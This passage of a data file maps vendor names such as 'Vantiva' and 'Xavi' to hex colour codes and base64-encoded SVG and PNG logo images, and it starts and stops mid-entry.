2NSAyLjAyNSwtMC4zMSAyLjE4OCwtMC41OTcgMi4zLC0wLjkyNCAyLjQxNCwtMS4yNTEgMi40NzEsLTEuNTk4IDIuNDcxLC0xLjk2NCAyLjQ3MSwtMi4zMzUgMi40MTQsLTIuNjg0IDIuMywtMy4wMTIgMi4xODgsLTMuMzQgMi4wMjUsLTMuNjI1IDEuODEzLC0zLjg3MSAxLjYsLTQuMTE2IDEuMzQyLC00LjMxMSAxLjAzNiwtNC40NTIgMC43MzEsLTQuNTk0IDAuMzg1LC00LjY2NSAwLC00LjY2NSBjIC0wLjM4NSwwIC0wLjczLDAuMDcxIC0xLjAzNywwLjIxMyAtMC4zMDUsMC4xNDEgLTAuNTYzLDAuMzM2IC0wLjc3NiwwLjU4MSAtMC4yMSwwLjI0NiAtMC4zNzQsMC41MzEgLTAuNDg3LDAuODU5IC0wLjExMywwLjMyOCAtMC4xNywwLjY3NyAtMC4xNywxLjA0OCAwLDAuMzY2IDAuMDU3LDAuNzEzIDAuMTcsMS4wNCAwLjExMywwLjMyNyAwLjI3NywwLjYxNCAwLjQ4NywwLjg1OSBDIC0xLjYsMC4xODEgLTEuMzQyLDAuMzc2IC0xLjAzNywwLjUyIC0wLjczLDAuNjY1IC0wLjM4NSwwLjczOCAwLDAuNzM4IiAvPjwvZz48ZwogICAgICAgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDc5LjE4MDIsMTQuMzE2MykiCiAgICAgICAgICAgaWQ9ImcxMjQiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDEyNiIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJNIDAsMCBIIDEuNDgxIEMgMS43NywwIDEuOTg4LDAuMDY4IDIuMTM5LDAuMjA2IDIuMjg3LDAuMzQzIDIuMzYyLDAuNTQ5IDIuMzYyLDAuODIzIDIuMzYyLDAuOTg3IDIuMzM4LDEuMTIxIDIuMjksMS4yMjQgMi4yNDEsMS4zMjggMi4xNzUsMS40MDkgMi4wOTEsMS40NjYgMi4wMDYsMS41MjUgMS45MSwxLjU2MyAxLjgwMiwxLjU4MiAxLjY5MywxLjYwMSAxLjU4MiwxLjYxIDEuNDY2LDEuNjEgSCAwIFogTSAtMC45MDQsMi4zNDggSCAxLjU2IEMgMi4xMjgsMi4zNDggMi41NTQsMi4yMjUgMi44MzksMS45NzkgMy4xMjIsMS43MzMgMy4yNjQsMS4zOTEgMy4yNjQsMC45NTQgMy4yNjQsMC43MDcgMy4yMjgsMC41MDQgMy4xNTYsMC4zNDMgMy4wODQsMC4xODIgMywwLjA1MiAyLjkwNCwtMC4wNDYgMi44MDcsLTAuMTQ1IDIuNzEyLC0wLjIxNyAyLjYxOCwtMC4yNTkgMi41MjQsLTAuMzAzIDIuNDU1LC0wLjMzMyAyLjQxMiwtMC4zNDcgdiAtMC4wMTQgYyAwLjA3OCwtMC4wMSAwLjE2MSwtMC4wMzMgMC4yNSwtMC4wNzIgMC4wODksLTAuMDM5IDAuMTcyLC0wLjEgMC4yNDksLTAuMTg0IDAuMDc2LC0wLjA4NSAwLjE0LC0wLjE5NCAwLjE5MSwtMC4zMjkgMC4wNTEsLTAuMTM0IDAuMDc2LC0wLjMwMyAwLjA3NiwtMC41MDYgMCwtMC4zMDMgMC4wMjIsLTAuNTc5IDAuMDY5LC0wLjgyNiAwLjA0NSwtMC4yNDkgMC4xMTcsLTAuNDI2IDAuMjEzLC0wLjUzMSBIIDIuNDkxIGMgLTAuMDY3LDAuMTEgLTAuMTA3LDAuMjMzIC0wLjExOCwwLjM2OCAtMC4wMTMsMC4xMzQgLTAuMDE4LDAuMjY1IC0wLjAxOCwwLjM5IDAsMC4yMzYgLTAuMDE1LDAuNDM5IC0wLjA0NCwwLjYxIC0wLjAyOSwwLjE3MSAtMC4wODIsMC4zMTQgLTAuMTU5LDAuNDI3IC0wLjA3NywwLjExMyAtMC4xODEsMC4xOTUgLTAuMzE1LDAuMjQ4IC0wLjEzMywwLjA1MyAtMC4zMDEsMC4wOCAtMC41MDgsMC4wOCBIIDAgdiAtMi4xMjMgaCAtMC45MDQgeiIgLz48L2c+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg5Mi4wMTg5LDE2LjY2NCkiCiAgICAgICAgICAgaWQ9ImcxMjgiPjxwYXRoCiAgICAgICAgICAgICBpZD0icGF0aDEzMCIKICAgICAgICAgICAgIHN0eWxlPSJmaWxsOiM0ZjRjNGQ7ZmlsbC1vcGFjaXR5OjE7ZmlsbC1ydWxlOm5vbnplcm87c3Ryb2tlOm5vbmUiCiAgICAgICAgICAgICBkPSJNIDAsMCBIIDAuOTAyIFYgLTIuMzQ3IEwgMy4yLDAgSCA0LjMxMiBMIDIuMjUzLC0yLjA1OCA0LjQ1NiwtNS4xNTcgSCAzLjMyOSBMIDEuNjQsLTIuNjk0IDAuOTAyLC0zLjQyMyBWIC01LjE1NyBIIDAgWiIgLz48L2c+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMDYuMDMwOCwxMy4yMjY1KSIKICAgICAgICAgICBpZD0iZzEzMiI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoMTM0IgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzRmNGM0ZDtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Im0gMCwwIGMgMCwtMC4xOTggMC4wMzMsLTAuMzY3IDAuMSwtMC41MDYgMC4wNjgsLTAuMTQgMC4xNjIsLTAuMjU1IDAuMjgyLC0wLjM0MyAwLjEyLC0wLjA5IDAuMjU5LC0wLjE1NSAwLjQxNiwtMC4xOTUgMC4xNTYsLTAuMDQxIDAuMzI2LC0wLjA2MiAwLjUwOCwtMC4wNjIgMC4xOTksMCAwLjM2NiwwLjAyMyAwLjUwNiwwLjA3IDAuMTQsMC4wNDUgMC4yNTMsMC4xMDQgMC4zNCwwLjE3NiAwLjA4NywwLjA3MiAwLjE0OCwwLjE1NSAwLjE4OCwwLjI0OCAwLjAzOCwwLjA5NSAwLjA1NywwLjE5IDAuMDU3LDAuMjg3IDAsMC4xOTcgLTAuMDQ0LDAuMzQzIC0wLjEzMywwLjQzNiBDIDIuMTc1LDAuMjA2IDIuMDc4LDAuMjcxIDEuOTcxLDAuMzEgMS43ODgsMC4zNzcgMS41NzUsMC40NDIgMS4zMzMsMC41MDEgMS4wODgsMC41NjEgMC43OSwwLjYzOSAwLjQzMiwwLjczNyAwLjIxMSwwLjc5NSAwLjAyNywwLjg3IC0wLjExOSwwLjk2MyAtMC4yNjYsMS4wNTggLTAuMzgzLDEuMTYyIC0wLjQ3LDEuMjc4IGMgLTAuMDg2LDAuMTE1IC0wLjE0OCwwLjIzOCAtMC4xODQsMC4zNjggLTAuMDM2LDAuMTMgLTAuMDU0LDAuMjYyIC0wLjA1NCwwLjM5NyAwLDAuMjYxIDAuMDU0LDAuNDg1IDAuMTYzLDAuNjc2IDAuMTA4LDAuMTg5IDAuMjUxLDAuMzQ3IDAuNDI4LDAuNDcyIDAuMTgsMC4xMjYgMC4zODEsMC4yMTggMC42MDgsMC4yNzkgMC4yMjYsMC4wNiAwLjQ1NSwwLjA5MSAwLjY4NiwwLjA5MSAwLjI3LDAgMC41MjQsLTAuMDM2IDAuNzYyLC0wLjEwNiBDIDIuMTc4LDMuMzg2IDIuMzg3LDMuMjgxIDIuNTY4LDMuMTQxIDIuNzQ3LDMuMDAxIDIuODkxLDIuODMgMi45OTcsMi42MjQgMy4xMDMsMi40MiAzLjE1NiwyLjE4MyAzLjE1NiwxLjkxMyBIIDIuMjUzIEMgMi4yMjksMi4yNDUgMi4xMTUsMi40OCAxLjkxNCwyLjYxNyAxLjcxMSwyLjc1NCAxLjQ1NCwyLjgyMyAxLjE0LDIuODIzIDEuMDM0LDIuODIzIDAuOTI2LDIuODEyIDAuODE1LDIuNzkxIDAuNzA1LDIuNzY5IDAuNjAzLDIuNzMzIDAuNTEzLDIuNjgzIDAuNDIxLDIuNjMyIDAuMzQ2LDIuNTYzIDAuMjg0LDIuNDc3IDAuMjI2LDIuMzkgMC4xOTQsMi4yODIgMC4xOTQsMi4xNTIgMC4xOTQsMS45NjkgMC4yNTEsMS44MjUgMC4zNjUsMS43MjMgMC40NzcsMS42MTkgMC42MjYsMS41NCAwLjgwOCwxLjQ4NyAwLjgyOCwxLjQ4MiAwLjkwMywxLjQ2MyAxLjAzNiwxLjQyNSAxLjE2OSwxLjM5IDEuMzE3LDEuMzUgMS40NzksMS4zMDcgMS42NDQsMS4yNjMgMS44MDQsMS4yMjEgMS45NiwxLjE4IDIuMTE3LDEuMTM5IDIuMjI5LDEuMTA5IDIuMjk1LDEuMDkgMi40NjUsMS4wMzcgMi42MTIsMC45NjQgMi43MzcsMC44NzMgMi44NjIsMC43ODIgMi45NjYsMC42NzcgMy4wNTEsMC41NTkgMy4xMzUsMC40NDIgMy4xOTksMC4zMTUgMy4yMzgsMC4xOCAzLjI4LDAuMDQ1IDMuMywtMC4wODkgMy4zLC0wLjIyNCAzLjMsLTAuNTEzIDMuMjQyLC0wLjc2MSAzLjEyMywtMC45NjUgMy4wMDUsLTEuMTcgMi44NSwtMS4zMzcgMi42NTcsLTEuNDY3IDIuNDY1LC0xLjU5NiAyLjI0NiwtMS42OTEgMiwtMS43NTIgYyAtMC4yNDUsLTAuMDYgLTAuNDk1LC0wLjA5IC0wLjc1MSwtMC4wOSAtMC4yOTMsMCAtMC41NywwLjAzNSAtMC44MywwLjEwOSAtMC4yNjEsMC4wNzIgLTAuNDg3LDAuMTgxIC0wLjY4LDAuMzMxIC0wLjE5MywwLjE0OSAtMC4zNDYsMC4zNDEgLTAuNDYyLDAuNTc0IC0wLjExNSwwLjIzNSAtMC4xNzYsMC41MSAtMC4xODEsMC44MjggeiIgLz48L2c+PGcKICAgICAgICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMTIuMjgwNiwzOC4yOTMyKSIKICAgICAgICAgICBpZD0iZzEzNiI+PHBhdGgKICAgICAgICAgICAgIGlkPSJwYXRoMTM4IgogICAgICAgICAgICAgc3R5bGU9ImZpbGw6IzRmNGM0ZDtmaWxsLW9wYWNpdHk6MTtmaWxsLXJ1bGU6bm9uemVybztzdHJva2U6bm9uZSIKICAgICAgICAgICAgIGQ9Ik0gMCwwIEggMC4zMTEgQyAwLjU3NSwwIDAuODE2LDAuMDEzIDAuODE2LDAuMzE2IDAuODE2LDAuNTcxIDAuNTk3LDAuNjEgMC4zOTUsMC42MSBIIDAgWiBtIC0wLjI5OCwwLjg1MiBoIDAuNzQyIGMgMC40NTYsMCAwLjY3MSwtMC4xOCAwLjY3MSwtMC41NDkgMCwtMC4zNDcgLTAuMjIsLTAuNDkyIC0wLjUwNSwtMC41MjIgTCAxLjE1OSwtMS4wNjcgSCAwLjgzOCBMIDAuMzE2LC0wLjI0MSBIIDAgdiAtMC44MjYgaCAtMC4yOTggeiBtIDAuNjQsLTIuMzYyIGMgMC43NiwwIDEuMzQ3LDAuNjA2IDEuMzQ3LDEuNDA5IDAsMC43ODYgLTAuNTg3LDEuMzkxIC0xLjM0NywxLjM5MSAtMC43NjgsMCAtMS4zNTYsLTAuNjA1IC0xLjM1NiwtMS4zOTEgMCwtMC44MDMgMC41ODgsLTEuNDA5IDEuMzU2LC0xLjQwOSBtIDAsMy4wNDEgYyAwLjg5NiwwIDEuNjQ2LC0wLjcwNiAxLjY0NiwtMS42MzIgMCwtMC45NDQgLTAuNzUsLTEuNjUgLTEuNjQ2LC0xLjY1IC0wLjksMCAtMS42NTQsMC43MDYgLTEuNjU0LDEuNjUgMCwwLjkyNiAwLjc1NCwxLjYzMiAxLjY1NCwxLjYzMiIgLz48L2c+PC9nPjwvZz48L2c+PC9zdmc+' ["Vantiva"]='#B2B2B2 #E70000 #696969 data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAcYAAACDCAMAAAAgXktwAAAB/lBMVEVHcEw9Voo/VIo9Voo9Voo9Voo9VopOY4U9Voo1ZZY9VoozZ449VooucKA9Voo9Voo9Voo9Voo9Voo9Voo9Voo9Voo9VorQUUA9Voo9Voo9Voo9Voo9Voo9Voo9VopAU4s/VIo9Voo9Voo9Voo9VorgOjsApuU9VooApeTeHkDVJ0gAq+gAplFmLZEAj9XFI1nwSScAj9VmLZHyZSJmLZEAplFmLZGNxj9mLZHxSieNxj+Nxj8AplG/JF7tGy/tGy+Nxj8AuvJmLZG/JF5mLZG/JF4AplGNxj/yZSIAplGNxj8AplEAuvKNxj+Nxj8AplEAplE9VoqNxj/tGy+/JF4AuvJmLZEAplEAuvIAuvLyZSKNxj+Nxj/yZSLyZSLtGy+/JF4AplEAuvK/JF5mLZG/JF4AplEAuvJmLZEAuvIAj9XyZSKNxj+Nxj+/JF5mLZG/JF7tGy8AuvLyZSIAltoAj9XyZSLyZSIAj9UAuvIAplHyZSLtGy+/JF7tGy+/JF4AplHyZSIAj9XtGy/tGy/tGy/yZSIAj9UAj9XyZSK/JF6Nxj/tGy/yZSIAj9UAuvIAuvLtGy8Aj9UAj9UAj9UAj9WNxj/tGy/tGy8Aj9UAj9UAj9UAj9WroeD/vv90VllmG/I9VopmLZHtGy8AuvK/JF4Aj9UAplHyZSKNxj8jibCQAAAAoHRSTlMA6B4q/JrhAfAF9g4yCY6qn8eGcjoTWQbSgk5q2nu/IxhHQLhiDRawIi8ULvad6iIZ+OX4f6H0KrwjyxkZmvXoDfjSaGOAKXLsu1df7Iif69+l6cr6Qik84IC1tkCg4UNRddGyFMbOWkuVO4vc9Ok4P9qnPkt8L3bcbk5PoNVy4InIbFW8kF3QmdTz+2NoX7fEro3Gplf9fYatvbW4jmJ1xT/36gAAGGhJREFUeNrsXNtPE9sXnl53p+0USi+U3lugLTSAEEI4D2ik8OYLsRp5kiBE4QHQQAIJSIIajDGoqDk/PL4UCn/nr7eZvfaevWcG8JwM0PVgIu20s/e31+X71poKQttMZ6nJ8aftXbjpJs6cnk63gbzptjR9WrOx8XXU3osbbDOnTRsbanuk6SJl8Shn0BknT2Wbae+bmQwVjk6GR38adMYJGcXJpfbWmQfD3ObH7Yua/RCNvN3TdkZT2tHh6EXDhgtG3v5KccbpdHvzzGMHF7IdqByVkUOHFGccb++diaywLcP4WyKi5/r4K3UEXsfOmGrvnZlq1I8yjMOrGK6nM5MTp0Ni2xlvjP0clXHcamG49GporMEMVcRwfUxGcaxNGs1luUMZxu9N6rg+PcHxOISdcait4ZjMjmUYRzcb/3+quNykh3wnfmVsvb1vJrNVJaoeUz43QRU5421nNC//93yXYTzMUdxwiHTGaQXftjOaDkZhS4mqTUFuSYFr2spxRrG9b+aLqsMyji1BbpwluKH0NB1sBxcG27tnGpP+kWHcLlC8ArrdjALuZEsoKJWXSyPt/TOL0YKcqOjfE5geLtHOiPqXz8/P92YH2uWOOQwLcicS5XjjLGds8ZCF8nnd1qY2utt7aAITfyiCXLHxh9S0qqmo7lB1vzhv2dpGew/NYLQgx6COoEPVQnbjkwzj3t2odDy2YNBq4hpdzClR9buHpo7NzCepnBFNySiWZ+8CiOmA3+JyOTsyJgZSaXOMNtsceOJmLEU7Y4tLDqzJMO7fgWoV2ZKVprm6PKa9y01KkKOpo6TqUKFZGcXzu+CMKX9FMZ9p/TFHC3JAH68Xr7hdLHeoRvaUAmfgDjijA6NYcUdNe5tbZJsDYferNzOQ2hlLijNO3QG6YbMAGCu9klnvEwtyH5GaOqrbxYPLMoqf7gLb6IMoVpxmHWBB0i9KkLNOA4KhbheXyjKML+4C908QMLqDJmEYav0MC3JHzT8A6qhuF/cr1L+8cBfYRg8JY9Ycvnd0vEpXW0Ulqp40X8JVzZC6Q7WgUP9lPvXvHrk1jkoGVYvNHHXp4cXwj00yT4snlCCH1beJMbpdjHW48xLvSwYXpvZujKcGA4rFQozXvUSJkzQHczyqs8TR3z+Jp2+O6Llj7IPYGVvQbyjUf49N/Qc3pvZq2XPqpjQ/unRcTewEKNr7THHPnlY5M/r9AAz84zbHLw9FHWmBFetwTOrfvTG7/EkL5JsHo2CL4Hd0msMZsWRzsb1VlB0G0XPHYLaY7FChkX2+Dtc9Unqh+Gq5dFtgFIKyjON2pM1RpiptqQZmH1clGt3W3PEM7YzySAfW4aioiUYWXigQ3yQ2og+jYO2JuOxuS2/YJNwfM/0WkCebnlbhQwpyuN9P9h6BDrdBFzVlCOJ5eW3k1sAoCCFvJmszi4CDH9pQbPRX41ljeu6YLnJkZyyxnK1fSYiEXTKqemPYwh6TwXhVS4FFxf5URJY+Dl+o7XCroBLkwPNTsF0MdDiZUIgDJRaGdVrZf6kj1gEKwrx0S2CE2kHcevXPKb6E1EJaZQK5fbyqtDm2cxR1hM64gHW4/mZCbBQ1ZRaK+1OXGgyACvR/Wtb/mzB6QI+r4ruGaLNS/boDgUTFrW0GkMPD1NwxgkWO3C7G1L9Rh9YS4v4529ZelC6p48TguU3dEhiz7j8j4xWfVavVxR3iofDCwffRC7615o4hdZRn5DaADldLiHtlNoaflmcHuoXL0X+pF8DoQLcERt+f0X/QfLVhz+aLcGdyP3/zgWz9EADoM8odqm5M/admOQnxvLw3tdEvoMsCASUvd0a4HTCGgHBQCVz9cwrPqi17tlKEiri0+WOYh2NLkMMjOLIz4hGccw6GtYRYfyjgCs4UAAv2M6RNJHpC6XQ6JF1+ikL0NC5E/zmMKOPW+Wwk1ReV9ojaOzZfxfZo5QncAnH1eJsN4z+NMhEp1FF2RjCCw0+IiMYQQePXAkkAY4J+0RZNOHr9kXg8Ekl2dIW9nPDE+CIxFfbl61f6ezsD2ZA+jKybVa/A2KIEOP7RIaqoaLhrLtlYVe3mEtEU94DmFqvQHr15Agt5VNg6ZEbVVZI6yu3ikX0tDJsJkZEeOrH5uMwp6AKb6SUwzPYkLXbYZLBbkgkbY/PS+KsczRpJynQ6waUufyKlCaM7D242Ie9VCCwh1qRjfeB9Dq4Lp0FMtYfJl6KOiItclbOjj709aKdK2cMvL4mTnDv4xUiSLUFuqZkdJ60qHU6N4d7sBoclwv5AJWyEX0HSaI0lXRWGOX3qzbM68Z7UsyvK5t30dfFESANGwvzyTlktKp8iepBdvEWFAU4RQBqRtytir9hV32iPBFhASm+qKnv4lSCSgufniSpJtuaOBc/M5PTkuPwIAKb+dFHTTIi8mtuiFVkY/AqQxnQgUuGZM+DhFxT1sx/qYh6AZPDSMDpVC7DC+4pwYgzqZJNGr8PCXZU/yggzhZ1FNZA1IknwD7UkIP9oFRLEJewZJTa92G8kRHDzA8+JO5HyBnrnkF8pYocY9lc0zN5h5Z+FmJDK8/CPXh9G4iLe0KM1DuK5QhpDCafWqlwJloCVe/n1oRrIxfkCUQQWyWqH+dtjoOsPginN8gff7T54fI8bWnhVt49BGq0Od0XbkmSmEwH1DKT4R8ASvj6MxEhAJzPGILhwhTQGkzqLsvsYBRyqAfmFASRFJIXCwSFOkr9YlaC6wKkVNXWGiN/SP/C/x/fPzu6/4yZ6DgeG/EomjV699daHRgl/FIH/zWld7cxeG0ZCAWYPPRJvCcjQOnUXZe9iZx7pyZtHDCBJIinkjmRJYPRI0IexxvLJhIj++vztwVnDdru55Ysrq8evWqQxE68YMAeMQOIcOAyal/nT14WRjDExpkjsVCUTMeAysCh3H4dNsYGk+IfgaUoCw1vM00AE1VpRQ3YTB5/vvj6T7cEAV6Bh68MOFWlEPiMokismSgpt60LXhZGIMcxR8pi6tEv7Dd1dnF1BoLoivvKMCSQR5MTVreOtVTafRcpgo0r27h74ux5Msb3lRxdWWQe3RCaNVioq2l3OeCRuob0M1vHEaQBXut2q2h5S06vBSEwhuxgzyDDEK6QxS8VUu8UZYazKwVMCai5ZnGcAWSOSBn+hGnWX1pgsf0QJpoq97+cWOfawNr/Kyyvwwnzp94W9qXQ6ncoG8mRcCmjDaMknwplMONBB1fg+Nox2bHowEjGmR7vxhs9uH5Q5ehNRmzWdttqiPX4CSYvWaDoqzC/qE0n+5WhgdmqWkr37n394faay+8/JCgbGkjlRi18B0piR98E1FwWcXQx22Dn6qyoQu3xeuSTxzhEuCVq4AEZXIIxNeSaVDSPMxCwVOMA8NGLCrggYXhCKQyS50mlNFnaY/GPH0K8bI+UfJZi+fX//jGUfyCthAHLatPgV7JD3NU6ovZd+xldKuNndEBrGOOTSUg/EEQQFqKkyS042jELUrUUdYeMN1nWSo3XA6G2wzhlQFC5FJI3ZvXeqYCqXOLukAkA+WxbQ4lew0yjWN94SUFMUESLi48IYJ0OTCGOu3WG8w8GBkYgxqg4pFIkJlpWu4xuJqrNfuvcSj1EiwWOISOoYO5g2Aur7tyqJnAhAvR4+vyI7jZ7OmkMxNWc/c49IGC30pak4q4C5MoxEjFHNKyS4B9cWqfQyvyfr0ky2BonkoxWjHskPpmevPzxnSeQwANFlHeRXVI6xdmZ1u5OAe5MwqnciwZQFrwwjvHF6eggKg/SnZhxW3QGIvGikWBGfrDCA/JIzFkx3ecH027t7nDa4n98RiGl0GkX9vhYYcfFxqQhjwiB7bRiJhzuoWT7oWXRRh3irAscsEjLYEmcRyXn96wbfPmY74v3HbzUGcALc/A35Fdlp1DBQFYFihYAxodNHCV8bRoFo7nt5Qq09bDRTRXHKdxofhizM0x75VXc8tH+XG0w1xxmJABTllT95oxManghLCfNVdE6Eg5Wwrg4jf2QBRh/dqhPHGPcVxkly6sC6qBtVP7OD6ee/dOoj4ucsiI5AwOh4qiiFrClvMJuJhsOxOKuAIObQJO2ohbf96jDyB4ign/r0BoWsNm8wE62tqgtf5TIWl6TiPIN4fNHzxv5vjGD694CBiVS4MNgRgHmdN1aNQrZowNeRjMQtFpe7IbFU9GBkbl4fqwK6BowpJ6fI9uk0AxoApoPhhCPvjzhri6JXZQjGwktWqVqt7uhmxsdqijhoaJqRCEAxZrFiZ46nSt5Yp99i5wvJbBhjOsnnj8BIxBhw91Ak5rTmsol83MVf1f/bu5KeNrItbOPhUi4MGNsYPGAMJjyGhSULIQZ18zY24McYITpMLXpBlAdZJDyBAlIESoKEEpTOhmSL1BLmXz7bVa577lR1DXRTkeqsElMuquqrM3znO/diDaO69oo3E1Cxt5YxdeAjDeMP2Q2OEnxFIGU+nppO9Lst9AAujN641ZDBY8DIn1og+RVHKFciHSELxcoCRmWE246r9lb/eCHBN96zifHTkNSUPyTfmDrC4jHEvLeeVmuVlQ8jf9+TR4cRxhic2aGTsr1HJdNmrTqawYieCYLpX3/99laqQY6Gv3F7bxJAEgGom8evmPHUsASIAhibIxZ083FgJGKMUWfDJjGjBKR9MtKxGMZqMBU44p/vRiRLfZT7xOH+v3z73XoRHEDMa7DbDjFF8Ax6b+4PY8s/AyNEzLgB0CSmSSOKd0ndlABGNPLuq8AR/3i11tAikaEfPGnq4werZXBBTusX8iuKNEbk7veJYSTKqhTbQaZIo5JovnkAjGtvf+Nj+J+3LxvXNia+c4H8Yg4kyrJKBqAhFGmMJG9+BhgRPKWe3CENoXhPInDzABjRC0EwfTFyv/1Bc++fc9oAz9/nJDtoderYKiKNTbyplYDb3xXq6R9saxt028UbiRijldrgdaVSdMbNmzFxJ/W76vFaeSN3NG6NrmrUQkE2vg5/4Ykcb75PmHwHEoIEza+I9xbRAzJef39rNtPS1KsGFUVBMBg/LYwQNO0eoPBGksYoPXUZ6Grr7uzzNEVrdwUvj3/9wa90MP368l8U2Q4WdueWl+dKsv458OEbD8gf4r/NAZ9ijToCfkWSRg9Zo7pXOtNBUZP7iWGE6wBqEcXjFpHGLFmzJVszvYrg8gQlzjuKIo4ESTFCKZTmlm6rNrormIw7Ot4/PoyR2jEPyF8/ifhHkBIzIAchSWOKnPKPMIvKumwDIyNmJESkkVhQfdPckTahtQIY8XrVSjD93zNKUJo+GVu+rdvSOlcqPp4tl8uz26cEs4j9ztMehUSyk2yGwWSZEt5wIMUGelhFPDWMEXLBFbx2kjQSoyxJzpqbTq8l4XhVD6bv6GCqrp/tjd4C2+Wd4CJfrll+44KoY9AQn0h+4BBJBHNhKAovmySNEKUb3ix8X8A+MBKCqQdq04FO4UvcHDcXYET0/+W/a8F0jdIwguu7JIYVO+Mlwo2yYefHE3CSoBEi2UGUdSuixxMJWMge4Rv7wEjAEyYk/F6hTLbCOQ98H0QwPvuT7bcplaJm6ZYxHowTO2VgO/tHhEtP8PjHL8+/5MzGKHzA56hmB1QieA+OCLpPDiOhZ8Bpd3JahVjPwFNWYdAVNuP+S1FENF0CCREYzo0zMzN8GKtJElY7COW+8GY7nr+n+AcsxpMdXpHLdXrNhUPYiX1UGFvuAyNca9SccotIIzFVbRFTZWXj6MkZF8OKjelxd6q4OblZnGGDqg7kBqx2EOITyY/iAORtFmJFTK5ynLHtMbs43bw5q4ZghDEGaIjUJCesy3nzOZ5kgzAyRQ200RMdxc27qi1OaddwXGYsf36VsyKSP0wCkFhphEGVs1qJbGk9FMawldhsCSOx1kh8slbTga9ge0OysSAhGjan73+7cKdZUfva0WyZY5fHRJIcoPnHmwmzyGG8m7TSCB83KzlRLa2Hwpi9sUDJEkZCJhYrjSmzRR94cYcEjEolIZphWLGSduT4gQ7jgeaOsY0y13b2iSRJEcnvpnlcqJDDB0ctKXahuP9xW+OQvGAegDxpeRijvA4wU4wSC8soGqV2B6RlY4LlC2xvWju27ox3n+e1D67KAqNaAhUiafCPN+yEB7EOQFQgkv2O/gjYacjT2vzICgdBUv3htKooajru8yfkYeTFGLaKId7gQCt4O4N9tLbaHGk8IY7uLdHc33DGSnZUuLUqTJIbFwRHHKoLWZ/kAhD7bMIkzL64p1dV1V5Pp48dCEg9EMZgD9mDD/X3h/wB8HpIwOhhL4sdTw2Se4N0dfelo6oabYokBhkVkg9jte0txPBsfd2AcbmgfaFooHi3Oq75wXZZbHmiJVAnkr8OSQUgTtnmYVbldoVCoSR3QO6hMHLTNTyvBIwKu16d3fSIWDpW80h/5a66/DwlmTNLhNverC2PnVSi6BlN/acmMYx6kYNO80YY5ZU7l0RLoEok6a0cuJ4m6NN0Sy/jB8/rnjC2uM3PKwEjG2N47hTlbQ/Cn1RhqI9JQlyaKxWqlzW9TFP/4jWAcVLjjrlLoxt3uM+LsDtES8A1/GFILgDxCL7kZgfk1+8Jo+IzP68MjCp9vdxdHfrcsjfFZNaSKJjO7Rb0X7WLqX/tKtEMdMbr11vaYftGCD10TRyf53nVjsT24nQA4nPuiOlUXAAI5b6Hwuhq4f4uXyMwMjGGy0BR2HRKzB8SJ5rCsiAhqvVp7+k9mvrPf76DtqB9emgAt191zosNFshtmZHVDBmA+GPVKG7y5gbC4Bz4yd4XRn15OmXtqBEY035z0qi/wh0mOCYz3eLXQBnjJ0TE8dc5bSfVmU0CRZ06ooFzIw/mav8/3aaS5OyhTCNQ7TEljQaOwqEqdxaB4h0vurk3jEqKg2Ob0giMiIzM7YLjginhaFwoAjsRzCLbEpUQx0rThDyhzhnOqFP/+dckjHXqaDTk8qe6any4TSTJDbld4sOmpBEn0TbuHJm3ugcjqHdxhXRvGF1Kgo2rgw3BSMYYr3DtvhLnZ/1AdQky6ESs0Kry9DIsanYrRQ15xInhjHtah4h2xrvrzZg2xmE437ZxiqP9yzKNrpURAUj8YFzBzh4GSG9XOEp2EXBtbg1jQEgIIiuUm3iNPYY4+6laxRizNY1NqSQTWQP9tT0dwAvDLDdGZ0RCdImDrk79tyhnNKgjljl2AEvMXdWrnXPJv5+iJNp9hpn+WQO1ugkw5OaDWd334vgUBoyd+LNWntiM0q3GAe20v1TXx+jbRXmbk/0dGeM5RjvwtxLixWPgitrN/45IU7bND3djSfoyGi5K2DgHuxG05m7LZyfc9eSY+mt9OBRbvGOsSDfkrqD8P6xVO/krl6zJbNRdH/yIZFvb+kOhHmo/botNwa1+L+8A1ZPJJsLhbDzSFJT/VqOH1fBKZ8K+wZ7KXQ36wpleJPNgonuVooZKiKyvGtR/a9VwwlWKOuKGHJUFBw4r1c5lzvU3mRJU1aCCGv+zELY27a7kjy/tFoRHYz6i9+EQdsYF4586dYwZDbnZI+ptiB3tX7kceyoD1F971cexM47jLLmo/fDCoIrHbEiJOU/ziQxh6q/34RBWqBZxN+daVx1BQ27AeXr2sRI9goMVqtUtIHRcz1MNOTmm79g/YtNzdB9uAeqMCEdYjTq6TomGnGP2MEz99RGcqQOiqoltUtRxmGzIOWYHC87RIzhFqnODm+QLtMxx6jw/m9j6KDWCg+Xi1/OUd05qRc4hpyHn2NPyT6YPVzScb3OGKlx1XHFD7nLCeYK2sAI9goPl4rqo4WKoI547vnCeoC1II92HQ0YmvNa7bxDZA63IOdppUJZy7G+OqaU691/SndGoSz8XjaOKVH8czx3vHDnP0B60saSNPWojOEAu1uuZWj9g1ahdNQ+9KAsbco49kaknY0u3o1ofDpPEuyLw2UXY1nERMofTkLNNggyuj+l9OKOaqXdQqYRZp47bTkPOlkiqlNtV8AKcEHNJPdQ6DTk7G5aL9Zq0jjK9KmcYyxzDzmOzm08u0nOpLpY6aqWQ05Czr0G5mPzJDN0fxw25fachZzMDChWNTZ06fp7UatUBR+awrTMeULyC+dnq4vyUDjCeO3YacvYy3KxZjHHS5uvN4jgeywJzx05Dzk71DSUXkz9EWwtbM/CDGHfu2DEbOOM1qVCRQNIfXDkNOTsaIxdbWL0hl790hlNtZPO0XGwVhLe15cWnOYdx2MewqHgt5YwIneZnNy4mHAxt6oxAoTK13MWRU6PajjQurjJysWM/I5ALB404o2P25I3INV48uL5znPHnh3J8YXL80c/6fxXHECCVu0MdAAAAAElFTkSuQmCC' ["Xavi"]='#03329A #5B5B5B #6487DB 